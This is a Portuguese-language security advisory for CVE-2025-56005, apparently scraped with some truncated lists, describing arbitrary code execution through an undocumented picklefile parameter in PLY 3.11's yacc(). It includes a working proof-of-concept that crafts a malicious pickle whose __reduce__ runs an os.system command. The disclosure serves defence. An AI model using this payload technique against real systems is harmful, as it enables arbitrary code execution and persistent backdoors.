
RCE não documentado em PLY via parâmetro `picklefile`
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Uma funcionalidade não documentada e insegura na versão do PLY 3.11 distribuída via PyPI permite execução arbitrária de código quando a função yacc() é invocada com o parâmetro picklefile.
O parâmetro picklefile faz com que o PLY desserialize um arquivo .pkl usando o pickle.load() do Python sem validação. Como o módulo do Python permite a execução de código arbitrário durante a desserialização (por exemplo, via ), um atacante que consiga controlar o arquivo pickle fornecido pode executar código arbitrário durante a inicialização do parser.
pickle__reduce__()Este parâmetro não está documentado na documentação oficial do PLY nem no repositório do GitHub, mas está ativo na versão do PyPI.
Se um atacante puder controlar, substituir ou influenciar o arquivo .pkl passado para yacc(picklefile=...), ele pode alcançar:
Isso pode afetar aplicações que carregam tabelas de parser de:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() em ply/yacc.pyEsta vulnerabilidade apresenta risco elevado devido à sua natureza furtiva e ao potencial de persistência.
O parâmetro picklefile é não documentado na documentação oficial do PLY e no repositório do GitHub. No entanto, a versão do PLY 3.11 distribuída via PyPI inclui essa funcionalidade e processa o arquivo fornecido usando pickle.load() sem validação.
Como o módulo pickle do Python permite a execução de código embutido durante a desserialização, um arquivo pickle malicioso pode executar código arbitrário durante a configuração do parser, antes que qualquer lógica de parsing seja invocada.
No momento da redação deste documento, o mantenedor não reconheceu publicamente esse comportamento.
Essa funcionalidade pode ser abusada para introduzir backdoors persistentes, particularmente em ambientes onde os arquivos de tabela do parser são:
Dada a falta de documentação, o caminho de execução silencioso e o alto impacto da desserialização insegura, a atribuição de um CVE é justificada para aumentar a conscientização e proteger os usuários downstream.
Esta prova de conceito demonstra execução arbitrária de código quando um arquivo pickle malicioso é fornecido através do parâmetro não documentado picklefile.
A PoC:
Quando yacc(picklefile='exploit.pkl') é invocado, código arbitrário é executado durante a inicialização do parser.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile com arquivos não confiáveis ou graváveis externamente